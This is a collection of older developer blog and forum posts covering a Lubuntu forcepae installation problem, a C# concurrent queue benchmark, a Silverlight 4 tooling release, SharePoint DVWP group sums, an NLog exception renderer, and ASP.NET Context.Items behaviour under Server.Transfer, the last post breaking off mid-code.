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• Installing Lubuntu 14.04.1 forcepae fails

  - by Rantanplan

  I tried to install Lubuntu 14.04.1 from a CD. First, I chose Try Lubuntu without installing which gave: ERROR: PAE is disabled on this Pentium M (PAE can potentially be enabled with kernel parameter "forcepae" ... Following the description on https://help.ubuntu.com/community/PAE, I used forcepae and tried Try Lubuntu without installing again. That worked fine. dmesg | grep -i pae showed: [ 0.000000] Kernel command line: file=/cdrom/preseed/lubuntu.seed boot=casper initrd=/casper/initrd.lz quiet splash -- forcepae [ 0.008118] PAE forced! On the live-CD session, I tried installing Lubuntu double clicking on the install button on the desktop. Here, the CD starts running but then stops running and nothing happens. Next, I rebooted and tried installing Lubuntu directly from the boot menu screen using forcepae again. After a while, I receive the following error message: The installer encountered an unrecoverable error. A desktop session will now be run so that you may investigate the problem or try installing again. Hitting Enter brings me to the desktop. For what errors should I search? And how? Finally, I rebooted once more and tried Check disc for defects with forcepae option; no errors have been found. Now, I am wondering how to find the error or whether it would be better to follow advice c in https://help.ubuntu.com/community/PAE: "Move the hard disk to a computer on which the processor has PAE capability and PAE flag (that is, almost everything else than a Banias). Install the system as usual but don't add restricted drivers. After the install move the disk back." Thanks for some hints! Perhaps some of the following can help: On Lubuntu 12.04: cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 13 model name : Intel(R) Pentium(R) M processor 1.50GHz stepping : 6 microcode : 0x17 cpu MHz : 600.000 cache size : 2048 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr mce cx8 mtrr pge mca cmov clflush dts acpi mmx fxsr sse sse2 ss tm pbe up bts est tm2 bogomips : 1284.76 clflush size : 64 cache_alignment : 64 address sizes : 32 bits physical, 32 bits virtual power management: uname -a Linux humboldt 3.2.0-67-generic #101-Ubuntu SMP Tue Jul 15 17:45:51 UTC 2014 i686 i686 i386 GNU/Linux lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.5 LTS Release: 12.04 Codename: precise cpuid eax in eax ebx ecx edx 00000000 00000002 756e6547 6c65746e 49656e69 00000001 000006d6 00000816 00000180 afe9f9bf 00000002 02b3b001 000000f0 00000000 2c04307d 80000000 80000004 00000000 00000000 00000000 80000001 00000000 00000000 00000000 00000000 80000002 20202020 20202020 65746e49 2952286c 80000003 6e655020 6d756974 20295228 7270204d 80000004 7365636f 20726f73 30352e31 007a4847 Vendor ID: "GenuineIntel"; CPUID level 2 Intel-specific functions: Version 000006d6: Type 0 - Original OEM Family 6 - Pentium Pro Model 13 - Stepping 6 Reserved 0 Brand index: 22 [not in table] Extended brand string: " Intel(R) Pentium(R) M processor 1.50GHz" CLFLUSH instruction cache line size: 8 Feature flags afe9f9bf: FPU Floating Point Unit VME Virtual 8086 Mode Enhancements DE Debugging Extensions PSE Page Size Extensions TSC Time Stamp Counter MSR Model Specific Registers MCE Machine Check Exception CX8 COMPXCHG8B Instruction SEP Fast System Call MTRR Memory Type Range Registers PGE PTE Global Flag MCA Machine Check Architecture CMOV Conditional Move and Compare Instructions FGPAT Page Attribute Table CLFSH CFLUSH instruction DS Debug store ACPI Thermal Monitor and Clock Ctrl MMX MMX instruction set FXSR Fast FP/MMX Streaming SIMD Extensions save/restore SSE Streaming SIMD Extensions instruction set SSE2 SSE2 extensions SS Self Snoop TM Thermal monitor 31 reserved TLB and cache info: b0: unknown TLB/cache descriptor b3: unknown TLB/cache descriptor 02: Instruction TLB: 4MB pages, 4-way set assoc, 2 entries f0: unknown TLB/cache descriptor 7d: unknown TLB/cache descriptor 30: unknown TLB/cache descriptor 04: Data TLB: 4MB pages, 4-way set assoc, 8 entries 2c: unknown TLB/cache descriptor On Lubuntu 14.04.1 live-CD with forcepae: cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 13 model name : Intel(R) Pentium(R) M processor 1.50GHz stepping : 6 microcode : 0x17 cpu MHz : 600.000 cache size : 2048 KB physical id : 0 siblings : 1 core id : 0 cpu cores : 1 apicid : 0 initial apicid : 0 fdiv_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov clflush dts acpi mmx fxsr sse sse2 ss tm pbe bts est tm2 bogomips : 1284.68 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 32 bits virtual power management: uname -a Linux lubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty cpuid CPU 0: vendor_id = "GenuineIntel" version information (1/eax): processor type = primary processor (0) family = Intel Pentium Pro/II/III/Celeron/Core/Core 2/Atom, AMD Athlon/Duron, Cyrix M2, VIA C3 (6) model = 0xd (13) stepping id = 0x6 (6) extended family = 0x0 (0) extended model = 0x0 (0) (simple synth) = Intel Pentium M (Dothan B1) / Celeron M (Dothan B1), 90nm miscellaneous (1/ebx): process local APIC physical ID = 0x0 (0) cpu count = 0x0 (0) CLFLUSH line size = 0x8 (8) brand index = 0x16 (22) brand id = 0x16 (22): Intel Pentium M, .13um feature information (1/edx): x87 FPU on chip = true virtual-8086 mode enhancement = true debugging extensions = true page size extensions = true time stamp counter = true RDMSR and WRMSR support = true physical address extensions = false machine check exception = true CMPXCHG8B inst. = true APIC on chip = false SYSENTER and SYSEXIT = true memory type range registers = true PTE global bit = true machine check architecture = true conditional move/compare instruction = true page attribute table = true page size extension = false processor serial number = false CLFLUSH instruction = true debug store = true thermal monitor and clock ctrl = true MMX Technology = true FXSAVE/FXRSTOR = true SSE extensions = true SSE2 extensions = true self snoop = true hyper-threading / multi-core supported = false therm. monitor = true IA64 = false pending break event = true feature information (1/ecx): PNI/SSE3: Prescott New Instructions = false PCLMULDQ instruction = false 64-bit debug store = false MONITOR/MWAIT = false CPL-qualified debug store = false VMX: virtual machine extensions = false SMX: safer mode extensions = false Enhanced Intel SpeedStep Technology = true thermal monitor 2 = true SSSE3 extensions = false context ID: adaptive or shared L1 data = false FMA instruction = false CMPXCHG16B instruction = false xTPR disable = false perfmon and debug = false process context identifiers = false direct cache access = false SSE4.1 extensions = false SSE4.2 extensions = false extended xAPIC support = false MOVBE instruction = false POPCNT instruction = false time stamp counter deadline = false AES instruction = false XSAVE/XSTOR states = false OS-enabled XSAVE/XSTOR = false AVX: advanced vector extensions = false F16C half-precision convert instruction = false RDRAND instruction = false hypervisor guest status = false cache and TLB information (2): 0xb0: instruction TLB: 4K, 4-way, 128 entries 0xb3: data TLB: 4K, 4-way, 128 entries 0x02: instruction TLB: 4M pages, 4-way, 2 entries 0xf0: 64 byte prefetching 0x7d: L2 cache: 2M, 8-way, sectored, 64 byte lines 0x30: L1 cache: 32K, 8-way, 64 byte lines 0x04: data TLB: 4M pages, 4-way, 8 entries 0x2c: L1 data cache: 32K, 8-way, 64 byte lines extended feature flags (0x80000001/edx): SYSCALL and SYSRET instructions = false execution disable = false 1-GB large page support = false RDTSCP = false 64-bit extensions technology available = false Intel feature flags (0x80000001/ecx): LAHF/SAHF supported in 64-bit mode = false LZCNT advanced bit manipulation = false 3DNow! PREFETCH/PREFETCHW instructions = false brand = " Intel(R) Pentium(R) M processor 1.50GHz" (multi-processing synth): none (multi-processing method): Intel leaf 1 (synth) = Intel Pentium M (Dothan B1), 90nm

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• C#: System.Collections.Concurrent.ConcurrentQueue vs. Queue

  - by James Michael Hare

  I love new toys, so of course when .NET 4.0 came out I felt like the proverbial kid in the candy store!  Now, some people get all excited about the IDE and it’s new features or about changes to WPF and Silver Light and yes, those are all very fine and grand.  But me, I get all excited about things that tend to affect my life on the backside of development.  That’s why when I heard there were going to be concurrent container implementations in the latest version of .NET I was salivating like Pavlov’s dog at the dinner bell. They seem so simple, really, that one could easily overlook them.  Essentially they are implementations of containers (many that mirror the generic collections, others are new) that have either been optimized with very efficient, limited, or no locking but are still completely thread safe -- and I just had to see what kind of an improvement that would translate into. Since part of my job as a solutions architect here where I work is to help design, develop, and maintain the systems that process tons of requests each second, the thought of extremely efficient thread-safe containers was extremely appealing.  Of course, they also rolled out a whole parallel development framework which I won’t get into in this post but will cover bits and pieces of as time goes by. This time, I was mainly curious as to how well these new concurrent containers would perform compared to areas in our code where we manually synchronize them using lock or some other mechanism.  So I set about to run a processing test with a series of producers and consumers that would be either processing a traditional System.Collections.Generic.Queue or a System.Collection.Concurrent.ConcurrentQueue. Now, I wanted to keep the code as common as possible to make sure that the only variance was the container, so I created a test Producer and a test Consumer.  The test Producer takes an Action<string> delegate which is responsible for taking a string and placing it on whichever queue we’re testing in a thread-safe manner: 1: internal class Producer 2: { 3: public int Iterations { get; set; } 4: public Action<string> ProduceDelegate { get; set; } 5: 6: public void Produce() 7: { 8: for (int i = 0; i < Iterations; i++) 9: { 10: ProduceDelegate(“Hello”); 11: } 12: } 13: } Then likewise, I created a consumer that took a Func<string> that would read from whichever queue we’re testing and return either the string if data exists or null if not.  Then, if the item doesn’t exist, it will do a 10 ms wait before testing again.  Once all the producers are done and join the main thread, a flag will be set in each of the consumers to tell them once the queue is empty they can shut down since no other data is coming: 1: internal class Consumer 2: { 3: public Func<string> ConsumeDelegate { get; set; } 4: public bool HaltWhenEmpty { get; set; } 5: 6: public void Consume() 7: { 8: bool processing = true; 9: 10: while (processing) 11: { 12: string result = ConsumeDelegate(); 13: 14: if(result == null) 15: { 16: if (HaltWhenEmpty) 17: { 18: processing = false; 19: } 20: else 21: { 22: Thread.Sleep(TimeSpan.FromMilliseconds(10)); 23: } 24: } 25: else 26: { 27: DoWork(); // do something non-trivial so consumers lag behind a bit 28: } 29: } 30: } 31: } Okay, now that we’ve done that, we can launch threads of varying numbers using lambdas for each different method of production/consumption.  First let's look at the lambdas for a typical System.Collections.Generics.Queue with locking: 1: // lambda for putting to typical Queue with locking... 2: var productionDelegate = s => 3: { 4: lock (_mutex) 5: { 6: _mutexQueue.Enqueue(s); 7: } 8: }; 9:  10: // and lambda for typical getting from Queue with locking... 11: var consumptionDelegate = () => 12: { 13: lock (_mutex) 14: { 15: if (_mutexQueue.Count > 0) 16: { 17: return _mutexQueue.Dequeue(); 18: } 19: } 20: return null; 21: }; Nothing new or interesting here.  Just typical locks on an internal object instance.  Now let's look at using a ConcurrentQueue from the System.Collections.Concurrent library: 1: // lambda for putting to a ConcurrentQueue, notice it needs no locking! 2: var productionDelegate = s => 3: { 4: _concurrentQueue.Enqueue(s); 5: }; 6:  7: // lambda for getting from a ConcurrentQueue, once again, no locking required. 8: var consumptionDelegate = () => 9: { 10: string s; 11: return _concurrentQueue.TryDequeue(out s) ? s : null; 12: }; So I pass each of these lambdas and the number of producer and consumers threads to launch and take a look at the timing results.  Basically I’m timing from the time all threads start and begin producing/consuming to the time that all threads rejoin.  I won't bore you with the test code, basically it just launches code that creates the producers and consumers and launches them in their own threads, then waits for them all to rejoin.  The following are the timings from the start of all threads to the Join() on all threads completing.  The producers create 10,000,000 items evenly between themselves and then when all producers are done they trigger the consumers to stop once the queue is empty. These are the results in milliseconds from the ordinary Queue with locking: 1: Consumers Producers 1 2 3 Time (ms) 2: ---------- ---------- ------ ------ ------ --------- 3: 1 1 4284 5153 4226 4554.33 4: 10 10 4044 3831 5010 4295.00 5: 100 100 5497 5378 5612 5495.67 6: 1000 1000 24234 25409 27160 25601.00 And the following are the results in milliseconds from the ConcurrentQueue with no locking necessary: 1: Consumers Producers 1 2 3 Time (ms) 2: ---------- ---------- ------ ------ ------ --------- 3: 1 1 3647 3643 3718 3669.33 4: 10 10 2311 2136 2142 2196.33 5: 100 100 2480 2416 2190 2362.00 6: 1000 1000 7289 6897 7061 7082.33 Note that even though obviously 2000 threads is quite extreme, the concurrent queue actually scales really well, whereas the traditional queue with simple locking scales much more poorly. I love the new concurrent collections, they look so much simpler without littering your code with the locking logic, and they perform much better.  All in all, a great new toy to add to your arsenal of multi-threaded processing!

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• Silverlight 4 Tools for VS 2010 and WCF RIA Services Released

  - by ScottGu

  The final release of the Silverlight 4 Tools for Visual Studio 2010 and WCF RIA Services is now available for download.  Download and Install If you already have Visual Studio 2010 installed (or the free Visual Web Developer 2010 Express), then you can install both the Silverlight 4 Tooling Support as well as WCF RIA Services support by downloading and running this setup package (note: please make sure to uninstall the preview release of the Silverlight 4 Tools for VS 2010 if you have previously installed that).  The Silverlight 4 Tools for VS 2010 package extends the Silverlight support built into Visual Studio 2010 and enables support for Silverlight 4 applications as well.  It also installs WCF RIA Services application templates and libraries: Today’s release includes the English edition of the Silverlight 4 Tooling – localized versions will be available next month for other Visual Studio languages as well. Silverlight Tooling Support Visual Studio 2010 includes rich tooling support for building Silverlight and WPF applications. It includes a WYSIWYG designer surface that enables you to easily use controls to construct UI – including the ability to take advantage of layout containers, and apply styles and resources: The VS 2010 designer enables you to leverage the rich data binding support within Silverlight and WPF, and easily wire-up bindings on controls.  The Data Sources window within Silverlight projects can be used to reference POCO objects (plain old CLR objects), WCF Services, WCF RIA Services client proxies or SharePoint Lists.  For example, let’s assume we add a “Person” class like below to our project: We could then add it to the Data Source window which will cause it to show up like below in the IDE: We can optionally customize the default UI control types that are associated for each property on the object.  For example, below we’ll default the BirthDate property to be represented by a “DatePicker” control: And then when we drag/drop the Person type from the Data Sources onto the design-surface it will automatically create UI controls that are bound to the properties of our Person class: VS 2010 allows you to optionally customize each UI binding further by selecting a control, and then right-click on any of its properties within the property-grid and pull up the “Apply Bindings” dialog: This will bring up a floating data-binding dialog that enables you to easily configure things like the binding path on the data source object, specify a format convertor, specify string-format settings, specify how validation errors should be handled, etc: In addition to providing WYSIWYG designer support for WPF and Silverlight applications, VS 2010 also provides rich XAML intellisense and code editing support – enabling a rich source editing environment. Silverlight 4 Tool Enhancements Today’s Silverlight 4 Tooling Release for VS 2010 includes a bunch of nice new features.  These include: Support for Silverlight Out of Browser Applications and Elevated Trust Applications You can open up a Silverlight application’s project properties window and click the “Enable Running Application Out of Browser” checkbox to enable you to install an offline, out of browser, version of your Silverlight 4 application.  You can then customize a number of “out of browser” settings of your application within Visual Studio: Notice above how you can now indicate that you want to run with elevated trust, with hardware graphics acceleration, as well as customize things like the Window style of the application (allowing you to build a nice polished window style for consumer applications). Support for Implicit Styles and “Go to Value Definition” Support: Silverlight 4 now allows you to define “implicit styles” for your applications.  This allows you to style controls by type (for example: have a default look for all buttons) and avoid you having to explicitly reference styles from each control.  In addition to honoring implicit styles on the designer-surface, VS 2010 also now allows you to right click on any control (or on one of it properties) and choose the “Go to Value Definition…” context menu to jump to the XAML where the style is defined, and from there you can easily navigate onward to any referenced resources.  This makes it much easier to figure out questions like “why is my button red?”: Style Intellisense VS 2010 enables you to easily modify styles you already have in XAML, and now you get intellisense for properties and their values within a style based on the TargetType of the specified control.  For example, below we have a style being set for controls of type “Button” (this is indicated by the “TargetType” property).  Notice how intellisense now automatically shows us properties for the Button control (even within the <Setter> element): Great Video - Watch the Silverlight Designer Features in Action You can see all of the above Silverlight 4 Tools for Visual Studio 2010 features (and some more cool ones I haven’t mentioned) demonstrated in action within this 20 minute Silverlight.TV video on Channel 9: WCF RIA Services Today we also shipped the V1 release of WCF RIA Services.  It is included and automatically installed as part of the Silverlight 4 Tools for Visual Studio 2010 setup. WCF RIA Services makes it much easier to build business applications with Silverlight.  It simplifies the traditional n-tier application pattern by bringing together the ASP.NET and Silverlight platforms using the power of WCF for communication.  WCF RIA Services provides a pattern to write application logic that runs on the mid-tier and controls access to data for queries, changes and custom operations. It also provides end-to-end support for common tasks such as data validation, authentication and authorization based on roles by integrating with Silverlight components on the client and ASP.NET on the mid-tier. Put simply – it makes it much easier to query data stored on a server from a client machine, optionally manipulate/modify the data on the client, and then save it back to the server.  It supports a validation architecture that helps ensure that your data is kept secure and business rules are applied consistently on both the client and middle-tiers. WCF RIA Services uses WCF for communication between the client and the server  It supports both an optimized .NET to .NET binary serialization format, as well as a set of open extensions to the ATOM format known as ODATA and an optional JavaScript Object Notation (JSON) format that can be used by any client. You can hear Nikhil and Dinesh talk a little about WCF RIA Services in this 13 minutes Channel 9 video. Putting it all Together – the Silverlight 4 Training Kit Check out the Silverlight 4 Training Kit to learn more about how to build business applications with Silverlight 4, Visual Studio 2010 and WCF RIA Services. The training kit includes 8 modules, 25 videos, and several hands-on labs that explain Silverlight 4 and WCF RIA Services concepts and walks you through building an end-to-end application with them.    The training kit is available for free and is a great way to get started. Summary I’m really excited about today’s release – as they really complete the Silverlight development story and deliver a great end to end runtime + tooling story for building applications.  All of the above features are available for use both in VS 2010 as well as the free Visual Web Developer 2010 Express Edition – making it really easy to get started building great solutions. Hope this helps, Scott P.S. In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu

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• SharePoint - Summing Calculated Columns By Groups (DVWP)

  - by Mark Rackley

  I had a problem… okay.. okay.. so I have many problems… but let’s focus on one in particular or this blog post would never end… okay? Thank you…. So, I had an electronic timesheet where users entered hours for each day of the week. It also had a “Week Total” column which was a calculated column of the sum. The calculated column looked like this: Pretty easy.. nothing spectacular. So, what’s the problem? WELL……………….. There is a row in the timesheet for each task a person worked on in a given week. So, if you worked on 4 tasks, you would have 4 rows of data, and 4 week totals for that week: This is all fine and dandy, but I want to know what the total was for the entire week. Yes.. I realize the answer is 24 from my example… I mean, I know how to add! I just want SharePoint to display it for me for the executives (we all know, they have math problems).  You may be thinking, hey genius (in a sarcastic tone of course), why don’t you just go to the view and total on the “Week Total” field. What a brilliant idea! Why didn’t I think of that… let’s go to the view and do just that…. Ohhhhhh… you can’t total on a Calculated Column.. it’s not even an option…  Yeah… I had the same moment. So, what do you do? Well… what do you think I did? 1) Googled “SharePoint total calculated column” 2) Said it couldn’t be done 3) Took a nap 4) Asked the question on twitter? The correct answer of course is number 4… followed by number 3… although I may have told my boss number 2 so that I look more brilliant than I am? It’s safe to say I did NOT try to find the solution on my own doing step 1… that would be just WAY to easy… So, anyway, I posted the question on Twitter and it turns out several people had suggestions from using jQuery to using DVWPs. I tend to be a big fan of the DVWP except for the disgusting process of deploying them to another farm.. ugh… just shoot me…. so, that is the solution I went with. Laura Rogers (@WonderLaura) has a super duper easy to follow video on the subject over at EndUserSharePoint.com: SharePoint: Displaying Calculated Column SUMS in a View (Screencast) Laura’s video was very easy to follow and was ALMOST exactly what I needed. She does a great job walking you through every step of summing up a calculated field which was PART of my problem. The other part was my list is grouped by date! So, I wanted to see for a given week, the summed “Week Total” of hours. Laura got me on the right track with her video and I dug a little deeper into the DVWP to accomplish my task. So, here are the steps you follow: 1. Click on the "chevron” (I didn’t know it was actually called that until I heard Laura say it).. I always call it the “little-button-in-the-top-right-corner-with-the-greater-than-sign”.. but “chevron” is much shorter. So, click on the chevron, click on “Sort and Group”. The Add the field you want to group by, in my example it is the “Monday Date” of the timesheet entry. Make sure to check the check boxes for “Show Group Header” AND “Show Group Footer”. Click “OK”. The view now shows the count of each grouped set of data: Interesting, this looks very similar to Laura’s video… right? So, let’s take a look at the code for the Count: Count : <xsl:value-of select="count($nodeset)" /> Wow, also very similar… except in Laura’s video it looks like: Count : <xsl:value-of select="count($Rows)" /> So.. the only difference is that instead of $Rows we have $nodeset. It turns out the $nodeset will go through each Row in the group just like $Rows goes through each row in the entire view. So, using the exact same logic as in Laura’s blog except replacing $Rows with $nodeset we get the functionality of being able to sum up the values for a group. So, I want to replace “Count: #” with the total hours, this is done using the following changes to the above code: Week Total : <xsl:value-of select="sum($nodeset/@Monday)+sum($nodeset/@Tuesday) +sum($nodeset/@Wednesday)+sum($nodeset/@Thursday)+sum($nodeset/@Friday) +sum($nodeset/@Saturday)+sum($nodeset/@Sunday)" /> Our final output has the summed hours for each group! So… long story short… follow Laura’s blog, then group your list, then replace “$Rows” with “$nodeset”. One caveat, this will not work if you group by a person field. For some reason the person field does not go through each row in the group. I haven’t dug into this much yet. Maybe if I find some time… whatever that is… Anyway, Laura did all the work, I just took it one small step forward… as always, feel free to leave any additional insights you may have. We’re all learning here!

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• NLog Exception Details Renderer

  - by jtimperley

  Originally posted on: http://geekswithblogs.net/jtimperley/archive/2013/07/28/nlog-exception-details-renderer.aspxI recently switch from Microsoft's Enterprise Library Logging block to NLog.  In my opinion, NLog offers a simpler and much cleaner configuration section with better use of placeholders, complemented by custom variables. Despite this, I found one deficiency in my migration; I had lost the ability to simply render all details of an exception into our logs and notification emails. This is easily remedied by implementing a custom layout renderer. Start by extending 'NLog.LayoutRenderers.LayoutRenderer' and overriding the 'Append' method. using System.Text; using NLog; using NLog.Config; using NLog.LayoutRenderers;   [ThreadAgnostic] [LayoutRenderer(Name)] public class ExceptionDetailsRenderer : LayoutRenderer { public const string Name = "exceptiondetails";   protected override void Append(StringBuilder builder, LogEventInfo logEvent) { // Todo: Append details to StringBuilder } }   Now that we have a base layout renderer, we simply need to add the formatting logic to add exception details as well as inner exception details. This is done using reflection with some simple filtering for the properties that are already being rendered. I have added an additional 'Register' method, allowing the definition to be registered in code, rather than in configuration files. This complements by 'LogWrapper' class which standardizes writing log entries throughout my applications. using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text; using NLog; using NLog.Config; using NLog.LayoutRenderers;   [ThreadAgnostic] [LayoutRenderer(Name)] public sealed class ExceptionDetailsRenderer : LayoutRenderer { public const string Name = "exceptiondetails"; private const string _Spacer = "======================================"; private List<string> _FilteredProperties;   private List<string> FilteredProperties { get { if (_FilteredProperties == null) { _FilteredProperties = new List<string> { "StackTrace", "HResult", "InnerException", "Data" }; }   return _FilteredProperties; } }   public bool LogNulls { get; set; }   protected override void Append(StringBuilder builder, LogEventInfo logEvent) { Append(builder, logEvent.Exception, false); }   private void Append(StringBuilder builder, Exception exception, bool isInnerException) { if (exception == null) { return; }   builder.AppendLine();   var type = exception.GetType(); if (isInnerException) { builder.Append("Inner "); }   builder.AppendLine("Exception Details:") .AppendLine(_Spacer) .Append("Exception Type: ") .AppendLine(type.ToString());   var bindingFlags = BindingFlags.Instance | BindingFlags.Public; var properties = type.GetProperties(bindingFlags); foreach (var property in properties) { var propertyName = property.Name; var isFiltered = FilteredProperties.Any(filter => String.Equals(propertyName, filter, StringComparison.InvariantCultureIgnoreCase)); if (isFiltered) { continue; }   var propertyValue = property.GetValue(exception, bindingFlags, null, null, null); if (propertyValue == null && !LogNulls) { continue; }   var valueText = propertyValue != null ? propertyValue.ToString() : "NULL"; builder.Append(propertyName) .Append(": ") .AppendLine(valueText); }   AppendStackTrace(builder, exception.StackTrace, isInnerException); Append(builder, exception.InnerException, true); }   private void AppendStackTrace(StringBuilder builder, string stackTrace, bool isInnerException) { if (String.IsNullOrEmpty(stackTrace)) { return; }   builder.AppendLine();   if (isInnerException) { builder.Append("Inner "); }   builder.AppendLine("Exception StackTrace:") .AppendLine(_Spacer) .AppendLine(stackTrace); }   public static void Register() { Type definitionType; var layoutRenderers = ConfigurationItemFactory.Default.LayoutRenderers; if (layoutRenderers.TryGetDefinition(Name, out definitionType)) { return; }   layoutRenderers.RegisterDefinition(Name, typeof(ExceptionDetailsRenderer)); LogManager.ReconfigExistingLoggers(); } } For brevity I have removed the Trace, Debug, Warn, and Fatal methods. They are modelled after the Info methods. As mentioned above, note how the log wrapper automatically registers our custom layout renderer reducing the amount of application configuration required. using System; using NLog;   public static class LogWrapper { static LogWrapper() { ExceptionDetailsRenderer.Register(); }   #region Log Methods   public static void Info(object toLog) { Log(toLog, LogLevel.Info); }   public static void Info(string messageFormat, params object[] parameters) { Log(messageFormat, parameters, LogLevel.Info); }   public static void Error(object toLog) { Log(toLog, LogLevel.Error); }   public static void Error(string message, Exception exception) { Log(message, exception, LogLevel.Error); }   private static void Log(string messageFormat, object[] parameters, LogLevel logLevel) { string message = parameters.Length == 0 ? messageFormat : string.Format(messageFormat, parameters); Log(message, (Exception)null, logLevel); }   private static void Log(object toLog, LogLevel logLevel, LogType logType = LogType.General) { if (toLog == null) { throw new ArgumentNullException("toLog"); }   if (toLog is Exception) { var exception = toLog as Exception; Log(exception.Message, exception, logLevel, logType); } else { var message = toLog.ToString(); Log(message, null, logLevel, logType); } }   private static void Log(string message, Exception exception, LogLevel logLevel, LogType logType = LogType.General) { if (exception == null && String.IsNullOrEmpty(message)) { return; }   var logger = GetLogger(logType); // Note: Using the default constructor doesn't set the current date/time var logInfo = new LogEventInfo(logLevel, logger.Name, message); logInfo.Exception = exception; logger.Log(logInfo); }   private static Logger GetLogger(LogType logType) { var loggerName = logType.ToString(); return LogManager.GetLogger(loggerName); }   #endregion   #region LogType private enum LogType { General } #endregion } The following configuration is similar to what is provided for each of my applications. The 'application' variable is all that differentiates the various applications in all of my environments, the rest has been standardized. Depending on your needs to tweak this configuration while developing and debugging, this section could easily be pushed back into code similar to the registering of our custom layout renderer.   <?xml version="1.0"?>   <configuration> <configSections> <section name="nlog" type="NLog.Config.ConfigSectionHandler, NLog"/> </configSections> <nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <variable name="application" value="Example"/> <targets> <target type="EventLog" name="EventLog" source="${application}" log="${application}" layout="${message}${onexception: ${newline}${exceptiondetails}}"/> <target type="Mail" name="Email" smtpServer="smtp.example.local" from="[email protected]" to="[email protected]" subject="(${machinename}) ${application}: ${level}" body="Machine: ${machinename}${newline}Timestamp: ${longdate}${newline}Level: ${level}${newline}Message: ${message}${onexception: ${newline}${exceptiondetails}}"/> </targets> <rules> <logger name="*" minlevel="Debug" writeTo="EventLog" /> <logger name="*" minlevel="Error" writeTo="Email" /> </rules> </nlog> </configuration>   Now go forward, create your custom exceptions without concern for including their custom properties in your exception logs and notifications.

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• HttpContext.Items and Server.Transfer/Execute

  - by Rick Strahl

  A few days ago my buddy Ben Jones pointed out that he ran into a bug in the ScriptContainer control in the West Wind Web and Ajax Toolkit. The problem was basically that when a Server.Transfer call was applied the script container (and also various ClientScriptProxy script embedding routines) would potentially fail to load up the specified scripts. It turns out the problem is due to the fact that the various components in the toolkit use request specific singletons via a Current property. I use a static Current property tied to a Context.Items[] entry to handle this type of operation which looks something like this: /// <summary> /// Current instance of this class which should always be used to /// access this object. There are no public constructors to /// ensure the reference is used as a Singleton to further /// ensure that all scripts are written to the same clientscript /// manager. /// </summary> public static ClientScriptProxy Current { get { if (HttpContext.Current == null) return new ClientScriptProxy(); ClientScriptProxy proxy = null; if (HttpContext.Current.Items.Contains(STR_CONTEXTID)) proxy = HttpContext.Current.Items[STR_CONTEXTID] as ClientScriptProxy; else { proxy = new ClientScriptProxy(); HttpContext.Current.Items[STR_CONTEXTID] = proxy; } return proxy; } } The proxy is attached to a Context.Items[] item which makes the instance Request specific. This works perfectly fine in most situations EXCEPT when you’re dealing with Server.Transfer/Execute requests. Server.Transfer doesn’t cause Context.Items to be cleared so both the current transferred request and the original request’s Context.Items collection apply. For the ClientScriptProxy this causes a problem because script references are tracked on a per request basis in Context.Items to check for script duplication. Once a script is rendered an ID is written into the Context collection and so considered ‘rendered’: // No dupes - ref script include only once if (HttpContext.Current.Items.Contains( STR_SCRIPTITEM_IDENTITIFIER + fileId ) ) return; HttpContext.Current.Items.Add(STR_SCRIPTITEM_IDENTITIFIER + fileId, string.Empty); where the fileId is the script name or unique identifier. The problem is on the Transferred page the item will already exist in Context and so fail to render because it thinks the script has already rendered based on the Context item. Bummer. The workaround for this is simple once you know what’s going on, but in this case it was a bitch to track down because the context items are used in many places throughout this class. The trick is to determine when a request is transferred and then removing the specific keys. The first issue is to determine if a script is in a Trransfer or Execute call: if (HttpContext.Current.CurrentHandler != HttpContext.Current.Handler) Context.Handler is the original handler and CurrentHandler is the actual currently executing handler that is running when a Transfer/Execute is active. You can also use Context.PreviousHandler to get the last handler and chain through the whole list of handlers applied if Transfer calls are nested (dog help us all for the person debugging that). For the ClientScriptProxy the full logic to check for a transfer and remove the code looks like this: /// <summary> /// Clears all the request specific context items which are script references /// and the script placement index. /// </summary> public void ClearContextItemsOnTransfer() { if (HttpContext.Current != null) { // Check for Server.Transfer/Execute calls - we need to clear out Context.Items if (HttpContext.Current.CurrentHandler != HttpContext.Current.Handler) { List<string> Keys = HttpContext.Current.Items.Keys.Cast<string>().Where(s => s.StartsWith(STR_SCRIPTITEM_IDENTITIFIER) || s == STR_ScriptResourceIndex).ToList(); foreach (string key in Keys) { HttpContext.Current.Items.Remove(key); } } } } along with a small update to the Current property getter that sets a global flag to indicate whether the request was transferred: if (!proxy.IsTransferred && HttpContext.Current.Handler != HttpContext.Current.CurrentHandler) { proxy.ClearContextItemsOnTransfer(); proxy.IsTransferred = true; } return proxy; I know this is pretty ugly, but it works and it’s actually minimal fuss without affecting the behavior of the rest of the class. Ben had a different solution that involved explicitly clearing out the Context items and replacing the collection with a manually maintained list of items which also works, but required changes through the code to make this work. In hindsight, it would have been better to use a single object that encapsulates all the ‘persisted’ values and store that object in Context instead of all these individual small morsels. Hindsight is always 20/20 though :-}. If possible use Page.Items ClientScriptProxy is a generic component that can be used from anywhere in ASP.NET, so there are various methods that are not Page specific on this component which is why I used Context.Items, rather than the Page.Items collection.Page.Items would be a better choice since it will sidestep the above Server.Transfer nightmares as the Page is reloaded completely and so any new Page gets a new Items collection. No fuss there. So for the ScriptContainer control, which has to live on the page the behavior is a little different. It is attached to Page.Items (since it’s a control): /// <summary> /// Returns a current instance of this control if an instance /// is already loaded on the page. Otherwise a new instance is /// created, added to the Form and returned. /// /// It's important this function is not called too early in the /// page cycle - it should not be called before Page.OnInit(). /// /// This property is the preferred way to get a reference to a /// ScriptContainer control that is either already on a page /// or needs to be created. Controls in particular should always /// use this property. /// </summary> public static 